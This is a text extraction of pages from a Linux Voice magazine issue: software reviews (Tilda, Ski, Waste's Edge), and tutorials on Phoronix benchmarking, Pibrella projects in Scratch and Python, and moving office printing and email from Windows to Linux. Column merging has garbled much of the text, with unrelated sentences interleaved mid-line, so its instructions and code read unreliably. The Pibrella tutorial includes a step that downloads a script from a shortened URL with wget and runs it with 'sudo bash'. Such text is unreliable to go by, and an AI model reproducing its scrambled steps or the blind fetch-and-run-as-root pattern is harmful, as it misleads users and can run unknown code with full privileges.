protocol and library implementing For extra security, Venom doesn’t very promising tool and hopefully
the messenger back-end; to use it, store the history of your one step in the fightback against
you need a front-end client such as the surveillance madness.
Venom. This is written in Vala/GTK
and still early in development – like “Venom is one step in the fightback
Tox itself – but it’s already usable
and looking pretty good. Check out
against the surveillance madness.” PROJECT WEBSITE
https://github.com/naxuroqa/Venom

Pop-in terminal emulator

Tilda
L
ast issue we looked at – but that’s not very useful, as it
terminal emulators in our can interfere with other programs.
group test, and although we Via the preferences dialog and the
covered five of the most notable, LV Key bindings tab however, you can
reader Ross Mounce alerted us to change it to something else – so
another that’s worthy of a mention: find a key that you hardly ever use.
Tilda. Whereas most terminals are (If you need to bring up the
designed to be standalone windows Preferences screen again in future,
that you place on your desktop, right-click on the Tilde window.)
Tilda is a “pop-in” terminal that
jumps out of the corner of the Pop-up shell
Tilda is a godsend if you
screen when you need it. And there you have it: press the key scrollback and various compatibility
don’t normally work in a
So it doesn’t have a billion you chose, and Tilda will zip out terminal window, but you options. By default Tilda is
features rammed in, but it’s perfect from the top-left of the screen, often open one up to displayed in all workspaces of your
for those times when you need to providing an instant shell via a enter a few quick desktop/WM, but that feature can
run a quick command or two, and single tap. You’ll find it useful commands. be disabled too. It all works really
you don’t want to start another straight away, but it’s also fairly neatly, and once you’ve been using
terminal to clutter up your desktop. configurable. In the Preferences it for a while and move to a desktop
The project’s website lists the dialog, go to the Appearance tab without it, you’ll really miss it…
required dependencies, and once and you can determine how much
you’ve it compiled, run it with tilda. screen space Tilda should use.
PROJECT WEBSITE
By default, Tilda is designed to It’s also possible to choose from
https://github.com/lanoxx/tilda
appear when you press the F1 key several colour schemes and enable

72 www.linuxvoice.com
FOSSPICKS

FOSSPICKS Brain Relaxers
https://launchpad.net/pybik/
Crazy skiing game

Ski 6.8
S
kiing is fun, until you hit trees. If things get tough, you can
some trees. Or lose control hit J to jump or T to teleport, but
on ice. Or get killed by a these are always risky manoeuvres
yeti, or burnt by a fire demon, or a – you’re never entirely sure how or
nuclear missile blows up in your where you’ll land.
face. OK, so those latter
scenarios are unlikely to happen Keep warm
in a normal trip to Tirol, but If a yeti (depicted by a scary blue A
they’re all possible in this sweetly character) gets close to you and
comical text-mode skiing game. you’re running out of options, you
Text-mode, did we just say? can hit I to launch a nuclear
The skiier (I) has slipped
Well, yes, but ASCII art doesn’t warhead and (hopefully) blast the and run ./ski to play it. And while
through some trees (Y)
automatically make a game bad beast to smithereens. Ski is and is trying to avoid a it’s not comparable to NetHack in
(see NetHack, also in this issue). turn-based, so you have time each yeti (A). Go off one side the “I’ll be playing this for years to
In Ski you’re sliding backwards move to make plans, but note that of the screen and you come” stakes, it’s surprisingly
down a mountain (due to some your character has momentum so appear on the other. good fun and, like all of the best
complications with your you can’t just change direction text-mode games, you can play it
footwear), so you can’t see what’s willy-nilly. over SSH. Who needs fancy X/
coming up. Using the L and R Because Ski is written in Python Wayland/Mir anyway?
keys to turn left and right, your and has almost zero dependencies,
goal is to survive for as long as you can just extract the archive, use PROJECT WEBSITE
www.catb.org/~esr/ski/ski.html
possible, avoiding killer yetis and the cd command to move inside it

Role-playing game

Waste’s Edge 0.3
Y
ou might not have heard attractive and text-packed
of Waste’s Edge before, introduction sets the scene: you’re
but if you’ve been using on the road and arrive at a remote
Linux for a while and have kept trading post. There you find that
one eye on the gaming scene, your mistress has been accused of
you might have heard of a theft, so you set to work trying to
Adonthell. This is a role-playing discover the full story.
game engine – that is, a
framework for building RPGs. It Verbose action
has been in development since And the whole game is text heavy,
1999, which reflects in its with non-player characters
The text is blocky and
graphical style, and Waste’s Edge providing extensive descriptions of classic 16-bit RPGs, and we wish
occasionally hard to
is a small demo that shows off events. You’re not just an observer read, but some of the that the text were easier to read.
some of its features. though; you can choose from other graphics are well But despite the fact that it’s a
It’s available in the stock different responses, which affect done. demo, Waste’s Edge is great fun
repositories for X/K/L/Ubuntu, the type of information you receive. to explore, and we can’t wait to
Debian, Fedora and other distros, Waste’s Edge has superb see what’s in store.
or you can compile it from source classical-style music that generates
(you’ll need the tarballs for both a fitting atmosphere for the PROJECT WEBSITE
Adonthell and Waste’s Edge). surroundings. Graphically it’s old http://adonthell.nongnu.org/index.
shtml
When you start the game, an school and reminiscent of the

www.linuxvoice.com 73
SUBSCRIBE

YOUR AD
HERE
Email andrew@linuxvoice.com to advertise here

LISTEN TO THE PODCAST

WWW.LINUXVOICE.COM

72 www.linuxvoice.com
TUTORIALS INTRO

TUTORIALS
Dip your toe into a pool full of Linux knowledge with nine
tutorials lovingly crafted to expand your Linux consciousness

In this issue…
76 78 82

Ben Everard
is working on an open source solution to hay
fever. He’s not optimistic.

Benchmarking Pibrella Migration

W
It can be a tricky business Les Pounder explores the Lots of offices use Windows
hen I first started writing
to establish just how fast different ways you can and could benefit from a
about technology, I assumed
a computer is. Ben Everard use the Pibrella to let your little Linux. Mark Delahay
that there was a finite
show various ways to test Raspberry Pi interact with guides you through the
number of things that you could write
your computer’s speed. the real world. process of jumping ship.
tutorials on, and sooner or later these
would have to be repeated out of
necessity. While we will, no doubt, 86 90 94
revisit some topics from time to time
because things have changed, or we
want to approach them from a different
angle, I’ve actually found that the more
time I spend working on tutorials, the
more interesting things I find I can do.
The only limit is the amount of time we
have to write them.
Compiling BASIC PyParted
I wonder if this is a legacy of UNIX. Compiling is at the heart of For decades this was the Valentine Sinitsyn doesn’t
The operating system was designed to free software. Mike language of choice for use fancy partition
allow users to combine tools in a Saunders shows how to beginners. Juliet Kemp managers, he just opens
myriad of ways using pipes. We still use convert code into takes a peek back in time to up a Python session and
these, but we also have a whole new executable programs that see where it came from and codes. You can learn how to
bunch of tools in our arsenal for can run on any computer. how it worked. do this too.
connecting bits of software together.
It’s this ability to connect everything
together in different ways that makes PROGRAMMING
Linux so powerful, and provides such
fertile ground for new projects. Python PageRank Android
If you need proof, just shift your eyes 100 Should you use Python 2 or 104 Algorithms rule the world. 106 In part two of this series on
a little to the right. There’s everything Python 3? That’s the For years, this one selected programming with Android
question everyone’s asking. After what we read on the internet. It Studio, our Beloved Leader
from school projects using the
a slow start, the newer version is transformed its inventors into Graham Morrison gives his RSS
Raspberry Pi to how Google works with starting to gain some ground. In some of the richest men in on reader application a makeover,
a bit of retro delight and some Linux this tutorial, Richy Delaney takes a earth, and yet it can be and in the process, shows you how
basics thrown in. As you read this, look at what the benefits of the programmed very easily. to add graphical niceties to your
another stash is being written for your newer version are, and how you Ben Everard pokes inside and phone apps. Apparently, it’s much
can make your older programs run discovers how its elegance hides easier than Java programming
enjoyment, and so the cycle continues.
on it. it’s power. used to be.
ben@linuxvoice.com

www.linuxvoice.com 75
TUTORIAL PERFORMANCE BENCHMARKING

PERFORMANCE BENCHMARKING:
TUTORIAL
HOW FAST IS YOUR COMPUTER?
Put your computer through its paces to find out
BEN EVERARD
whether its performance is up to scratch.

C
omputers come in all shapes and sizes, from go to www.webkit.org/perf/sunspider/sunspider.html
WHY DO THIS? the diminutive Raspberry Pi up to room-sized and hit Start Now. This will run a variety of JavaScript
• Try hardware before supercomputers. They’re all capable of benchmarks, and output a score in milliseconds
you buy to verify its
performance. performing the same tasks, but some do them much (lower is better). It’s a really easy test to run, and is
• Get to know the strain more quickly than others. Sometimes it’s useful to useful for comparing speed on different architectures
that your system know just how much quicker or slower a particular (it should run on ARM-powered phones and 64-bit
resources are under. computer is, and for this there are benchmarks. desktops). You also don’t have to install any software,
• Gain bragging rights at Benchmarks are just programs that we can time so you can easily use it to compare performance on
your next LUG meeting.
(this is usually automatic) to see how fast they run on devices you’re thinking of buying.
different computers. In principal, you could use almost However, the fact that it’s running in JavaScript is a
any software to do this, but each bit of software will disadvantage as well as an advantage. The particular
behave a bit differently. Some software contains a lot JavaScript engine can have a huge effect on how well
of floating point operations, while other software may it runs. If you want to confirm this, just try running it in
need a lot of RAM, and other software may hit the a few different browsers on the same computer.
hard drive a lot. The trick to benchmarking, then, is SunSpider is really designed for benchmarking
HardInfo can also be used
knowing what you want to test and selecting a JavaScript engines, not computers, and there’s no real
to generate HTML reports
on performance, but benchmark that has the right characteristics. solution to this problem other than using the same
they’re not as detailed as Perhaps the most popular question in version of the same browser on every computer you
those created by Phoronix benchmarking is how processor power varies want to test.
Test Suite. between devices. There’s a very easy way to test this:
HardInfo
The next easiest benchmarks are in the HardInfo
program. This is in most distro’s repositories, so you
should be able to install it with your package manager.
If you open it (type hardinfo on the command line if
it doesn’t appear in the applications menu), you’ll see a
variety of options. Most of them are for reporting
information about the hardware on your system.
These can be useful in diagnosing hardware
problems, but we’re not interested in them here. At the
bottom of the list on the left-hand side, you’ll see a
series of benchmarks. Click on them to run them (it
may take a little while on some machines). It’ll give
you the performance of the current machine
compared to a 1.5 GHz Celeron M machine. We often
use this for our benchmarking because it works well
on ARM as well as x86-based machines. However, the
options are a bit limited.
If you’re serious about your benchmarking, there’s
one open source tool that really does it better than the
rest, and that’s the Phoronix Test Suite. You can grab
it from www.phoronix-test-suite.com/?k=downloads
as either a Deb package, or a tarball. If you’re installing
the tarball, you just need to extract it and run sudo
./install-sh. This will copy all the files into the
appropriate directories. It’s written in PHP, which is
interpreted, so there’s nothing to compile.
Before we get too far into the Phoronix Test Suite,
we should issue a word of warning: the software can

76 www.linuxvoice.com
PERFORMANCE BENCHMARKING TUTORIAL

be a little confusing and is a little flaky. Some tests
don’t install or run properly, and sometimes it behaves
a little strangely. Once you’ve used it a few times, the
first of these isn’t too much of a problem, and you’ll
discover which tests work and which ones don’t.
Phoronix Test Suite is based around tests. You can
see what’s available with the command:
phoronix-test-suite list-available-tests
This lists all the tests and suites that can be run, but
many of them will need additional parts to be
downloaded (often hundreds of megabytes worth)
before you can run them.
To run one of these, just enter phoronix-test-suite
run <test-name>. For example, to run a simple
OpenSSL benchmark (that shouldn’t need too much
to download) run:
phoronix-test-suite run pts/openssl
This should download and install everything it
needs (it may ask you to enter you password to
enable this). If it downloads everything, but then
doesn’t run leaving you with the error:
[PROBLEM] You must enter at least one test, suite, or result upload the benchmark to openbenchmarking.org.
identifier to run. Alternatively, if you find a run on openbenchmarking.
It turns out that an i7
just run the command again (remember, we said it org and you want to compare your computer to it, just
desktop is much faster
was flaky). click on Compare Performance (in the blue box) to than a Centrino laptop.
It will give you a few options about how to display find the command (or take the code from the URL). To find out just how
the results. Select Y to save the results and enter a Comparing a single test like this is useful, but to much faster, go to http://
name, unique name and description. Then it’ll run the really compare computers though, it’s better to try a openbenchmarking.org/
test three times to see how well your computer range of benchmarks rather than just a single one. result/1405262-PL-
performs. At the end, it’ll give you the option to open This is what suites are for. To see what suites are 1405259PL73.
the test results in your browser. Press Enter to accept available, run:
the default (Yes), and it’ll start your browser and load phoronix-test-suite list-available-suites
an HTML file with the results. For a single test run on Most of these suites take quite a long time to run
a single machine, this isn’t particularly interesting. It (often several hours), so don’t start them when you’re
makes a nice graph, but with only a single datapoint, busy. Some of these
this doesn’t really show any more than the raw data.
However, this interface really comes into its own when
are designed to put a
specific feature under
“Some benchmarks are
using it to compare runs on different machines the spotlight (such as designed to put a specific
against each other. For example, to compare your
OpenSSL benchmarks against the desktop this article
the graphics suites),
while others are
feature under the spotlight.”
was written on, run: designed to get a
phoronix-test-suite benchmark 1405253-PL-SSLDESKTO72 balanced picture of performance. The pts/favorites
You get the openbenchmarking code to run your suite gives a good overall picture of performance. You
own comparisons if you say Yes to the option to can test this out by running it in the same way as you
would run a test with:
phoronix-test-suite run pts/favorites
However, just as you can compare the performance
of two tests using openbenchmarking.org, you can
also compare the performance of two suites. To pit
your computer against the one this article was written
on and the our Centrino laptop in digital combat, run:
phoronix-test-suite benchmark 1405262-PL-1405259PL73
If you get an error about missing dependencies, try
selecting option 3 to reattempt the install. May the
best computer win!
The Phoronics Test Suite also has a graphical mode (that The favorites suite is fine for a general test, but
can be started with phoronics-test-suite gui) that may be there are far more tests and suites available, so if
easier if you’re not used to working on the command line, you’re serious about performance-testing computers,
but we found the terminal more stable and easier to use. it’s worth taking the time to get to know them.

www.linuxvoice.com 77
TUTORIAL PIBRELLA

RASPBERRY PI: MAKE GAMES
TUTORIAL
WITH A PIBRELLA AND SCRATCH
Use a physical device to create interactive Python and Scratch
LES POUNDER
programs for fun and profit, but mostly for fun.

U
nderstanding and predicting how a program
WHY DO THIS?
works is part of the new Computing
• Discover how simple it is curriculum which is being introduced in
to make hardware obey
your commands. September of this year. It is also a key part in
• Use the graphical understanding how a computer thinks and how it
Scratch programming uses logic. Children across the UK will need to
language in a practical understand two types of programming languages;
application.
one must be a visual language, the other a textual
• Reprise Benny Hill's role
in the Italian Job. language.
For this issues tutorial we will explore two projects
using Pimoroni and Cyntech’s latest board, the
Pibrella, which we reviewed in Issue 3. The projects for
INSTALLING THE this issue are used to highlight the basic aspect of The Pibrella board has a big red button, three LEDS and a
PIBRELLA BOARD control, and our first project – a simulation of traffic buzzer. It's perfect for basic hardware interface messing.
The Pibrella board is lights – is an ideal starting point for a commonly seen
designed to fit over all
of the Raspberry Pi GPIO aspect of our lives. Our second project is a dice After a few moments you will see the Idle Python
pins. The board should simulator, where we can control the main part of the editor on your screen.
simply push on with little program but we introduce a random element to spice
resistance and the black
rubber pad should rest on things up. Scratch
the capacitor next to the The standard version of Scratch does not have the
micro USB power socket. Python capability to interact with external components, but
To use the Pibrella board with our Raspberry Pi, we this special version maintained by Simon Walters
first need to install an extra module that will enable (found on Twitter as @cymplecy) enables you to use
Python and Scratch to talk to the board. To do this we many different add-on boards and the GPIO directly.
are going to use a Python packaging tool called pip. To install ScratchGPIO5plus on your Raspberry Pi,
First, open a terminal. In the terminal we need to type in the following in a terminal:
ensure that our list of packages is up to date, so type wget http://goo.gl/Pthh62 -O isgh5.sh
the following, remembering to press Enter afterwards. This will download a shell script that contains the
sudo apt-get update instructions to install Scratch on your Raspberry Pi.
You will now see lots of on-screen activity, which Now that we have the shell script, we need to use it,
means that your list of software packages is being so in the same terminal type in the following.
updated. When this is complete, type the following to sudo bash isgh5.sh
install pip, the Python package management tool. If You will be prompted for your password, once you
you're asked to confirm any changes or actions, have typed this in press Enter and you will see lots of
please read the instructions carefully and only answer commands and actions appear on the screen. Let it
Yes if you are happy. complete these tasks, perhaps pop off for a cup of tea
sudo apt-get install python-pip and then return when it is done.
Now it's time to use pip to install the pibrella When everything is installed, you will see two new
package for Python, so type the following: icons on your desktop: ScratchGPIO5 and
sudo pip install pibrella ScratchGPIO5plus. What we are interested in is
After a few minutes the pibrella module for Python ScratchGPIO5plus, as this is the version of Scratch
should be installed on your Raspberry Pi. that will enable us to use Pibrella. Double-click on the
We’ll be using Python 2 for our Python code in this icon to launch ScratchGPIO5plus.
tutorial, and we need to use an editor called Idle to
write our code. The Pibrella board attaches to the Simulate traffic lights
GPIO (General Purpose Input/Output), and in order for In the real world, traffic lights are used to control the
us to use it with Idle we need to launch the Idle flow of traffic through a town or city. On your Pibrella
application using the sudo command, like so: you will see three Light Emitting Diodes (LED) that we
sudo idle can use to simulate our own traffic lights using

78 www.linuxvoice.com
PIBRELLA TUTORIAL

Scratch and Python. Traffic lights control traffic via You will see a large number of broadcast blocks,
the red, amber and green lights which are and we use those blocks to communicate with the
programmed in these two sequences. components on the Pibrella. For example, to turn on
Green to Amber and then to Red. the Red LED we use broadcast RedOn and to turn it
Red and Amber together, and then to Green. off we use broadcast RedOff. Each of these
You will see that the sequence is different in reverse, broadcast blocks will need to be created as they are
and this enables drivers who are colour blind to know not already in the Control palette. Have a go at
where they are in the sequence. So how can we create creating your own sequence.
this in our code? Well let's first see how it can be This is the main functionality that will control our
achieved in Scratch. Pibrella and recreate a typical UK traffic light using
Scratch. You can see that there are other code
Scratch snippets in the column; these relate to the output
In Scratch we can see three columns. These are: visible in the stage area. Our car can drive across the
The palette of blocks, where all of the blocks that screen when the light is green, but when the light
make up our program can be found; they are changes to amber the car will slow down and finally
colour-coded to enable children to quickly identify when the light is red the car will come to a stop. I
where a block is from. added these elements to introduce another element
A script-building area, where we can drag our blocks of control, in that our Pibrella board can influence the PRO TIP
of code to build our program. car on screen. To take this further, see if you can work In these tutorials we used
the Pip package manager
Finally there is a stage area that shows the output out how to add another car to the stage and replicate for Python. Pip takes a
of our program. the code that we created, but alter the speed of the lot of the hard work out
In our code we need to first tell Scratch that we are car to make it faster or slower. of managing your Python
packages and enables
using the Pibrella board. You'll find this in the Variables you to quickly update
palette; it's called Set AddOn to 0. Change this to Set Python your packages should
AddOn to PiBrella and leave it in the palette for now. Our Python code for this project is quite similar to the a new version be made
available. You can learn
Now we need to create a piece of code that tells Scratch code that we earlier created. Let’s take a look more about Pip and the
Scratch that when the green flag is clicked, the add-on at the code, section by section. We start with Python Package Index at
Pibrella board is to be used, and that all of the inputs importing some external libraries, in this case pibrella https://pypi.python.org/
pypi.
and outputs should be turned off. The When Green and time. Pibrella’s library enables us to use the board
Flag Clicked block is located in the Control palette. We in our Python code. The time library enables us to
next need to drag the Set AddOn to PiBrella from the control the speed at which our program runs.
Variables palette and place it under the Green Flag import pibrella
block. Lastly for this section we need to create a import time
Broadcast block called AllOff that tells Pibrella that all Next we have two variables that control the delays
of its inputs and outputs should be turned off. in our code. Delay is used to control the time that the
Now that we've told Scratch that we're using the green and the red LED are illuminated for. Sequence is
Pibrella board, we need to write the code that controls used to control the time that the amber LED is
the main part of our program. Our logic is as follows illuminated for.
When the green flag is clicked delay = 10 Perhaps you could also
add a horn sound to
Wait until the big red button is pressed sequence = 2
this car, so that it waits
Repeat the following 3 times We now move on to a function that groups together impatiently while the light
Turn on the Green LED all of the steps necessary to turn on and off our LED is red. You can find the
Wait 10 seconds and control how long this is to be done for. A function Sound palette in Scratch,
Turn off the Green LED is a group of instructions that can be called by using coloured light purple.
Turn on the Amber LED
Wait 2 seconds
Turn off the Amber LED
Turn on the Red LED
Wait 10 seconds
Turn on the Amber LED
Wait 2 seconds
Turn off the Amber LED
Turn off the Red LED
Most of the blocks necessary to complete this project
are in the Control palette, except for our switch sensor
block, which is located in the Sensors palette, and the
green six sided-block, which is a comparison block
from the Operators panel. The green block that you're
looking for is the = block in the Operators palette.

www.linuxvoice.com 79
TUTORIAL PIBRELLA

the name of the function (I like to think of a function print("AMBER & RED TOGETHER")
as similar to a macro). It can automate a lot of steps pibrella.light.amber.on()
and makes debugging our code easier as we only time.sleep(sequence)
have to look at the function and not search through pibrella.light.amber.off()
our code for any issues. To create a function called pibrella.light.red.off()
traffic_lights you would do as follows. You’ll notice that the code under the name of our
def traffic_lights(): function is indented – this is correct. Python uses
Now that we have named our function we have to indentation to show what code belongs to the
tell it what to do when it is used, and this is what the function, it even applies to loops.
code looks like.
#Create the sequence Expansion activity
#Green on for 10 seconds In our project we used two variables to control the
print("GREEN") delay in our light sequence. We can change these
pibrella.light.green.on() quite easily, but why not ask the user to change them
time.sleep(delay) interactively? Python 2 has a great function called
pibrella.light.green.off() raw_input that can add interactive content to your
#Amber for 2 seconds project (in Python 3 it is renamed to input). To use
print("AMBER") raw_input in place of our current values we can try
pibrella.light.amber.on() this.
time.sleep(sequence) delay = raw_input("How long should the green and red light be
pibrella.light.amber.off() on? ")
#Red for 10 seconds. sequence = raw_input("How long should the amber light be on?
print("RED") ")
pibrella.light.red.on() So now once we start our program we will be asked
time.sleep(delay) two questions relating to how long the lights should
# Don't turn off the red light until the end of the amber be on. Answer each of the questions and press enter
# sequence. after entering your answer.

2 GENERATING RANDOM OUTPUT: DICE GAME
In the first project our expected result and our actual
result matched, because we designed our program
that way. In the second project, while we will still have
an element of control to our program, our actual result
will differ as we will be using a random number to
simulate throwing a die.
When the big red button is pressed
Say that the program will pick a random number between 1
and 6
On the screen tell the player what the number is
Flash all of the LED on your Pibrella the same number of To add bells and whistles, can you can think of a way to
times as the random number trigger the cat to dance if you roll a six?
For each flash of the LED the on board buzzer will buzz
Looking at this logic sequence we can control roll. There will also be two options asking if this
everything apart from the number that is chosen at variable applies to all sprites or just this one. For this
random – let's build this in Scratch: project either option is applicable, so the choice is
yours. Now that we have a variable called roll, let’s
Scratch recreate the dice throw logic.
We start with telling Scratch that we're using the To assign a value to a variable in Scratch we need
Pibrella board and that all of the inputs and outputs to set a value to the variable. So in our project we Set
should be off. This is exactly the same start as Project roll to… but what do we set it to? Well, we use a block
1. Next we see a forever loop, that is watching for us from the Operators palette that will pick a random
to press the big red button; as soon as we press the number. We drag that block and drop it into the Set
button our on-screen cat will say “Let’s roll a 6 sided block, so now we have a method to randomly pick a
dice”. Next our code will set a variable called roll, but number and store it in our roll variable. Our code now
where does this variable live in Scratch? Well if you moves to show the randomly chosen value via a block
click on the Variables palette you will see a button in the Looks palette. This block, called “Think” creates
called “Make a variable”. clicking on this will trigger a a thought bubble type effect on the screen, just like
pop-up asking you to name your variable, so name it those found in cartoons and comics. We then drop

80 www.linuxvoice.com
PIBRELLA TUTORIAL

another block from the Operators palette called “Join” were not told the result; and two, we can use this to
into the Think block. This now gives us a method to debug the code later on in the project.
join our “You roll a" string with the value stored in our In the print function you can see “The number is
roll variable. “+str(guess), what this is demonstrating is something
The last section of our code is a loop that will iterate called concatenation, or in other words joining
the same number of times as the value of our dice roll together. The problem that we have is that the text is a
variable. Each time the loop goes round it turns all of string in Python, but the contents of the variable
the Pibrella LEDs on and beeps the buzzer, then waits guess is an integer. In order to concatenate two things
for half a second before turning the LED off, then lastly they must be of the same type, and that's where str
waiting for half a second before repeating the loop. comes in to play. What str does is temporarily convert
So that's Project 2, our dice game in Scratch. Try it the contents of our variable from an integer into a
out and see if it works. For extra points, see if you can string, which we can then join to the string “The
work out how to change our dice to a higher or lower number is"
number of sides? print("The number is "+str(guess))
Let's move on to the next section of the function.
Python Here we use a for loop that instructs the Pibrella to
The structure of our Python code for Project 2 is quite flash all of the LEDs and play the buzzer to match the
similar to Project 1. guessed number. This provides a great audio/visual
We first import the libraries that will add extra output to our game and enables us to explore different
functionality to the code. There will be two libraries methods of output. A loop works by checking to see if
that we have used before, namely pibrella and time. a condition is true and if that is correct it looks to see
But you can see a new library called random. The what code should be run.
random library enables us to add an element of We start the for loop by saying “for every time the
surprise to our dice game, and I’ll show you how that loop goes round” and then we tell Python how many
works later in the code. times the loop should go round by saying “start at 0
import random and finish before you get to the number guessed”. In
import time Python this is how it looks.
import pibrella for i in range(0,(guess)):
Now that the imports are completed, we next create a We start at 0 rather than 1 because a range will end
function that will handle the main process of the before it gets to the chosen number. So if we started
game. This function called dice() is made up of a few at 1, the number of flashes would be 1 less than the
sections, I’ll break it down and explain what happens guess due to the range ending. So we would then
in each section. have to add 1 to our guess variable, so it’s easier to
In this section we create a variable, called guess, start at 0 and work from there.
which will store the output of random.randint(1,6). So now that we have our for loop we need to write
What does that mean? Well, we earlier imported a the code to flash our LED and beep our buzzer. We
library called random, and from that library we want to start with a half-second delay to help our loop run
use a function called randint, or random integer in smoothly.
plain English. In Python the syntax is time.sleep(0.5)
guess = random.randint(1,6) Our next part of the sequence controls turning all of
Next we want to tell the player what the program the LED on and playing a note on the buzzer, waiting
will achieve, and to do this I print a string of text for the for half a second and then turning the LED and buzzer
player to read. off. Pibrella has a special function that turns on all of
print("I'm going to think of a number between 1 and 6 and I the LEDs without having to individually call them by
will flash the lights on your Pibrella to indicate the number I their names. Pibrella also has a special function to
chose") control the note played on the buzzer, but this function
Now that the program has picked a random is different to those that we have encountered before.
number and stored it as a variable we want to tell the This function can take an argument – in other words
player what the number was. The reason for this is we can tell the function what note to play, which in
two fold: one, the game would be no fun if the player this case is (1). Here is all the code to control our LED
and buzzer.
pibrella.light.on()
Project files
pibrella.buzzer.note(1)
All of the files used in these projects are available via my
time.sleep(0.5)
GitHub repository. GitHub is a marvellous way of storing
and collaborating on code projects. You can find my GitHub pibrella.light.off()
repo at https://github.com/lesp/LinuxVoice_Pibrella. pibrella.buzzer.off()
If you're not a Github user, don't worry you can still
obtain a zip file that contains all of the project files. The zip Les Pounder is a maker and hacker specialising in the
file can be found at https://github.com/lesp/LinuxVoice_ Raspberry Pi and Arduino. Les travels the UK training
Pibrella/archive/master.zip. teachers in the new computing curriculum and Raspberry Pi.

www.linuxvoice.com 81
TUTORIAL MIGRATE FROM WINDOWS

OFFICE MIGRATION:
TUTORIAL
PRINTING AND EMAIL
Is your home or work office still stuck on Windows?
MARK DELAHAY
Move it to Linux and save time and money.

S
OHOs (small office/home offices) and SMEs Support There are many more support options in
WHY DO THIS? (small/medium enterprises) are in a bit of a bind the open source world. Paid support is available
• Free yourself from at the moment. Large numbers of organisations with the bigger distributions, and the support
Microsoft’s licensing
costs still run Windows XP – so they need to consider their forums can resolve issues in a time frame so fast
• Avoid the UI nightmare options now that Microsoft has ended support for that that would make commercial help desk staff quake
that is Windows 8 OS. Doing nothing and continuing to use XP is an in their boots.
• Get better performance option, but it gets riskier as time goes on. Upgrading to Ideology An increasing number of individuals and
and security Windows 8 or converting to Apple is going to be organisations are embracing not just the
expensive, but there is a third way: Linux and open commercial practicality of Linux, but also the
source software. underlying spirit of community and co-operation.
Now, chances are that you already run Linux on
your home desktop and maybe a few servers, so Assess your needs
you’re aware that it’s a very capable OS. But we also Once you or your organisation has decided to explore
know that many Linux dabblers find it tough to move the Linux alternative, the first step is to assess the
their home or work office away from Windows. In this application requirements in detail, which will save a lot
tutorial we’ll make the transition easier – and if you’re of wasted time and re-work later on. There are
forced to use Windows at work but would love to alternatives for almost everything in the FOSS world,
move over to Linux, show this guide to your boss! but you may need to keep bespoke applications and
Before we dive in, however, let’s consider the main run them using the Wine compatibility layer.
benefits of making the switch: Converting an office to Linux is a mammoth job, so
Licensing Here you have direct and indirect costs. here we’re going to focus on two of the most common
With Windows you have to spend money on the tasks: printing and email. These are good places to
operating system and office suite, and then add-ons start in a transition, so we’ll show you that it’s not so
for security. Bigger organisations even have costly difficult with the right approach. And if you’d like us to
licensing departments and servers, so there’s an cover other aspects of office migration, drop us a line
indirect cost – manpower. and we’ll expand this into a longer series of tutorials.

1 PRINTING
The previous generation of printers attached to PCs your Linux PC or even a Raspberry Pi print server is
With Linux Mint, setting up
a printer is straightforward (as opposed to departmental networked laser entirely possible, but this is the realm of die-hard
thanks to a GUI tool printers) were strictly Windows printers, with an awful tinkerers, as some features may not work properly, like
accessible from the Start lot of the computing power done on the PC instead of notifications of paper jams and low ink levels.
menu. the printer itself. Attaching these devices directly to However, most of the current generation of printers are
natively network-orientated with built-in print servers.
Let’s have a look at two printers and how they can
be installed on a fresh copy of Linux Mint 16, Xfce
edition. First is a brand-new HP Office Jet 660 (approx
£130 including fax and scanning features) which has
been configured using its touchscreen and is on the
network ready for action. Secondly we have a legacy
Canon PiXMA iP5000 directly attached via USB.
Printing on Linux is usually handled by CUPS
(formerly an acronym for the Common Unix Printing
System). This is installed by default in Linux Mint, with
its daemon running in the background. Configuration
is either via the web interface at http://127.0.0.1:631
or via the GUI application “system-config-printer” (just
type “printer” into the search box on the start menu to

82 www.linuxvoice.com
MIGRATE FROM WINDOWS TUTORIAL

find it). For simplicity’s sake we recommend using the
GUI application.
Once the application is open, select Add Printer, and
then (for a network printer) click the Network Printer
drop-down list. You will see your printer there, ready to
be selected. There will be a short wait as the driver is
located and installed, and then all that remains to do is
to name your printer and print out a test page.

No more hunting for drivers
Installation does not get much easier than this, but
how do we fare with an older but perfectly usable USB
printer, like the Canon PIXMA iP5000 mentioned
earlier? The initial process is exactly the same and the
Canon is correctly detected as a USB attached printer.
The web-based front-end provides an alternative interface to CUPS configuration.
However, this is where things can go wrong – in
our case the installation process stalled when trying
to find the correct driver. But this did allow us to try will appear. Choose the driver corresponding to your
the alternative installation process via the CUPS web model, or one with a close model number if there isn’t
interface on http://127.0.0.1:631. Open that address an exact match in the driver name, and then perform
in your browser and click Adding Printers and Classes. a test print. You may need to experiment with two or
You will see your printer in the Local Printers list, three drivers before getting the best results.
and when you click on it a drop-down list of drivers So setting up a printer in Linux isn’t as tough as
it may seem, and thanks to CUPS you don’t have to
trawl through random websites to find drivers – CUPS
is supplied with drivers for hundreds of printers out PRO TIP
of the box. Plus, you can access CUPS via a GUI or its Read up on other
migration efforts to
web-based front end, for added stability. get a feeling for what’s
Of course, some printer vendors are more required, such as when
supportive of Linux than others. If you’re in the market the city of Munich
switched to Linux (see LV
for a new printer, it’s worth checking online for Linux issue 2, or read it online
compatibility before you part with your hard-earned at www.linuxvoice.com/
cash, eg at https://help.ubuntu.com/community/ the-big-switch).
Printers. This author recommends HP devices for the
Here, the Canon has been identified correctly, and we’re best Linux compatibility, but always browse the web
prompted for a list of drivers. or ask on a forum first.

2 EMAIL
Out there in the corporate world of inbox overload, few hours to accomplish. If you are migrating from
email is a daily grind but it’s also a necessary evil for a Windows Outlook or Outlook Express solution,
doing business. Outlook/Exchange and Office are there is a cunning plan to ease the pain of migration
Microsoft’s financial engines – these are the that we’ll demonstrate here. We are going to install
applications that businesses want and need to Thunderbird first on our legacy Windows machine,
function. Fortunately, Open/LibreOffice can handle use it to properly create the folder/MBOX file structure
their own when pitted against Microsoft’s mighty for storing mails, and then move the files to our target
office suite. Linux build.
Moving from Outlook can be tricky though, as it’s
so tightly integrated with Microsoft’s other Office Export mail to Thunderbird on the Windows PC
products. A Windows refugee who has used Outlook 1 On the source Windows machine, head over to

for a while to access email from POP3 or IMAP www.mozilla.org and download and install the
servers is going to end up with many PST files that Thunderbird email client.
need to be kept and referenced. 2 Start up Thunderbird. There’s no need to run the

These PST files store messages and calendar import wizard that pops up, or set it to the default mail
events, and are in a proprietary format dreamt up client, and there’s no need to set up any email
by Microsoft. So the first challenge is: how do you accounts at this stage.
access them? The bad news is that there’s no magic 3 The menu is accessed through the button with

pixie dust available for this and a bit of work is three horizontal bars on the right-hand side of the task
involved; the good news is that it should take only a bar. Click Menu > Tools > Import.

www.linuxvoice.com 83
